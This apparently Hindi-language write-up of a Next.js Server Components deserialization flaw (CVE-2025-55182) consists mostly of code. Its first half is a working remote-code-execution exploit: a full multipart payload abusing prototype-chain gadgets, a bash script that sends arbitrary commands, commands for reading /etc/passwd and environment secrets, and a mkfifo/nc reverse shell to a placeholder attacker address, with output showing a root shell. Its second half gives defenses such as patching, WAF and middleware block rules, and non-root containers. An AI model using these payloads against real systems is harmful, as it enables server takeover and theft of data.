क्लाइंट (ब्राउज़र)
    ↓
[मल्टीपार्ट/फॉर्म-डेटा RSC पेलोड]
    ↓
Next.js सर्वर
    ↓
डिसीरियलाइज़ेशन + निष्पादन
    ↓
प्रतिक्रिया

{
  "then": "$1:__proto__:then",  // प्रोटोटाइप श्रृंखला को लक्षित करता है
  "_response": {
    "_prefix": "malicious code here"  // कोड इंजेक्शन
  }
}

var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();

throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});

# PoC को क्लोन करें
git clone https://github.com/msanft/CVE-2025-55182.git
mv CVE-2025-55182/test-server ./
rm -rf CVE-2025-55182

# Node.js 20 स्थापित करें
nvm install 20
nvm use 20

# निर्भरताएँ स्थापित करें
cd test-server
npm install

npm run dev

http://localhost:3000

curl http://localhost:3000/

POST / HTTP/1.1
Host: localhost:3000
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

#!/bin/bash

TARGET_HOST="localhost"
TARGET_PORT="3000"
COMMAND="id"

# पेलोड बनाएँ
PAYLOAD=$(cat <<'EOF'
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('COMMAND_HERE',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
EOF
)

# कमांड बदलें
PAYLOAD="${PAYLOAD//COMMAND_HERE/$COMMAND}"

# अनुरोध भेजें
curl -v -X POST "http://${TARGET_HOST}:${TARGET_PORT}/" \
  -H "Next-Action: x" \
  -H "X-Nextjs-Request-Id: b5dce965" \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
  -H "X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9" \
  --data-raw "$PAYLOAD"

chmod +x exploit.sh
./exploit.sh

COMMAND="ls -la /"

COMMAND="whoami"

COMMAND="cat /etc/passwd"

COMMAND="netstat -tuln"

COMMAND="env"

ncat -lvnp 9009

nc -lvnp 9009

COMMAND="rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> 9009 >/tmp/f"

POST / HTTP/1.1
Host: <TARGET_IP>:<TARGET_PORT>
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 821

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> 9009 >/tmp/f',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

❯ ncat -lvnp 9009
Ncat: Version 7.98 ( https://nmap.org/ncat )
Ncat: Listening on [::]:9009
Ncat: Listening on 0.0.0.0:9009
Ncat: Connection from 10.100.0.169:51438.
sh: no job control in this shell
sh-3.2$ ls
bin  boot  dev  etc  home  lib  ...
sh-3.2$ whoami
root
sh-3.2$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...

Error: NEXT_REDIRECT
digest: uid=33(www-data) gid=33(www-data) groups=33(www-data)

npm install next@latest

// middleware.ts
import { NextRequest, NextResponse } from 'next/server';

export function middleware(request: NextRequest) {
  // संदिग्ध पेलोड को अस्वीकार करें
  if (request.headers.get('content-type')?.includes('multipart/form-data')) {
    const bodyString = request.body?.toString() || '';
    
    // खतरनाक पैटर्न वाले पेलोड को ब्लॉक करें
    if (bodyString.includes('__proto__') || 
        bodyString.includes('constructor') ||
        bodyString.includes('child_process')) {
      console.error(`[सुरक्षा] ${request.ip} से दुर्भावनापूर्ण पेलोड प्रयास`);
      return new NextResponse('निषिद्ध', { status: 403 });
    }
  }
  
  return NextResponse.next();
}

export const config = {
  matcher: ['/:path*']
};

module.exports = {
  experimental: {
    serverActions: {
      enabled: false // यदि आवश्यक न हो तो अक्षम करें
    }
  }
};

# एक समर्पित उपयोगकर्ता बनाएँ
useradd -r -s /bin/false nextjs

# इस उपयोगकर्ता के तहत सेवा चलाएँ
sudo -u nextjs node server.js

# या systemd के साथ
# /etc/systemd/system/nextjs.service
[Service]
User=nextjs
Group=nextjs
ExecStart=/usr/bin/node /app/server.js

FROM node:20-alpine

# गैर-रूट उपयोगकर्ता बनाएँ
RUN addgroup -g 1001 -S nodejs
RUN adduser -S nextjs -u 1001

WORKDIR /app
COPY package*.json ./
RUN npm ci --only=production

COPY . .

USER nextjs

EXPOSE 3000
CMD ["node", "server.js"]

docker run \
  --cap-drop=ALL \
  --cap-add=NET_BIND_SERVICE \
  -u nextjs:nextjs \
  --security-opt=no-new-privileges \
  --read-only \
  --tmpfs /tmp \
  my-nextjs-app

// कस्टम लॉगिंग मिडलवेयर
app.use((req, res, next) => {
  // Next-Action हेडर वाले सभी POST अनुरोधों को लॉग करें
  if (req.method === 'POST' && req.headers['next-action']) {
    const suspiciousPatterns = ['__proto__', 'constructor', 'execSync', 'child_process'];
    const bodyString = JSON.stringify(req.body);
    
    const isSuspicious = suspiciousPatterns.some(pattern => bodyString.includes(pattern));
    
    if (isSuspicious) {
      console.error(`[सुरक्षा_चेतावनी] ${req.ip} से शोषण प्रयास का पता चला`);
      console.error(`[सुरक्षा_चेतावनी] User-Agent: ${req.get('user-agent')}`);
      console.error(`[सुरक्षा_चेतावनी] पेलोड: ${bodyString.substring(0, 500)}`);
      
      // सुरक्षा टीम को सतर्क करें
      // sendSecurityAlert(`Exploit attempt from ${req.ip}`);
      
      return res.status(403).json({ error: 'निषिद्ध' });
    }
  }
  
  next();
});

# अनुरोध निकाय में __proto__ को ब्लॉक करें
SecRule REQUEST_BODY "@contains __proto__" \
  "id:1001,phase:2,deny,status:403,msg:'प्रोटोटाइप प्रदूषण हमला'"

# अनुरोध निकाय में constructor को ब्लॉक करें
SecRule REQUEST_BODY "@contains constructor" \
  "id:1002,phase:2,deny,status:403,msg:'प्रोटोटाइप प्रदूषण हमला'"

# child_process मॉड्यूल पहुँच को ब्लॉक करें
SecRule REQUEST_BODY "@contains child_process" \
  "id:1003,phase:2,deny,status:403,msg:'कोड निष्पादन प्रयास'"

# execSync फ़ंक्शन को ब्लॉक करें
SecRule REQUEST_BODY "@contains execSync" \
  "id:1004,phase:2,deny,status:403,msg:'कोड निष्पादन प्रयास'"

# require() स्टेटमेंट को ब्लॉक करें
SecRule REQUEST_BODY "@rx require\s*\(" \
  "id:1005,phase:2,deny,status:403,msg:'मॉड्यूल लोड करने का प्रयास'"

{
  "Name": "RCE प्रयासों को ब्लॉक करें",
  "Rules": [
    {
      "Name": "प्रोटो प्रदूषण ब्लॉक करें",
      "Priority": 1,
      "Statement": {
        "ByteMatchStatement": {
          "FieldToMatch": { "Body": {} },
          "TextTransformations": [{ "Priority": 0, "Type": "लोअरकेस" }],
          "PositionalConstraint": "शामिल है",
          "SearchString": "__proto__"
        }
      },
      "Action": { "Block": {} },
      "VisibilityConfig": {
        "SampledRequestsEnabled": true,
        "CloudWatchMetricsEnabled": true,
        "MetricName": "प्रोटो प्रदूषण ब्लॉक करें"
      }
    }
  ]
}

app.use((req, res, next) => {
  res.setHeader('X-Content-Type-Options', 'nosniff');
  res.setHeader('X-Frame-Options', 'DENY');
  res.setHeader('X-XSS-Protection', '1; mode=block');
  res.setHeader('Strict-Transport-Security', 'max-age=31536000; includeSubDomains');
  next();
});

# कमजोरियों के लिए निर्भरताएँ स्कैन करें
npm audit
npm audit fix

# सतत निगरानी के लिए snyk का उपयोग करें
snyk monitor

# नियमित पैठ परीक्षण
# त्रैमासिक सुरक्षा मूल्यांकन शेड्यूल करें

# 1. संदिग्ध पैटर्न के लिए लॉग जाँचें
grep -r "__proto__" /var/log/
grep -r "child_process" /var/log/
grep -r "execSync" /var/log/

# 2. प्रक्रिया इतिहास जाँचें
ps aux | grep node
history | grep -E "(nc|ncat|bash)"

# 3. नेटवर्क कनेक्शन जाँचें
netstat -tuln
lsof -i -P -n

# 4. प्रभावित सिस्टम को अलग करें
sudo iptables -I INPUT -j DROP

# 5. साक्ष्य और लॉग संरक्षित करें
tar -czf /backup/incident-$(date +%Y%m%d).tar.gz /var/log/

# 6. अपनी सुरक्षा टीम को सूचित करें और पैच लागू करें

{
  // चरण 1: प्रोटोटाइप श्रृंखला को लक्षित करें
  "then": "$1:__proto__:then",
  
  // चरण 2: हल किए गए मॉडल के रूप में चिह्नित करें
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  
  // चरण 3: _response के माध्यम से कोड इंजेक्ट करें
  "_response": {
    // इंजेक्ट किया गया जावास्क्रिप्ट कोड
    "_prefix": "var res=process.mainModule.require('child_process').execSync('COMMAND',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    
    // फॉर्म डेटा का संदर्भ
    "_chunks": "$Q2",
    
    // फॉर्म डेटा के माध्यम से कंस्ट्रक्टर तक पहुँच
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}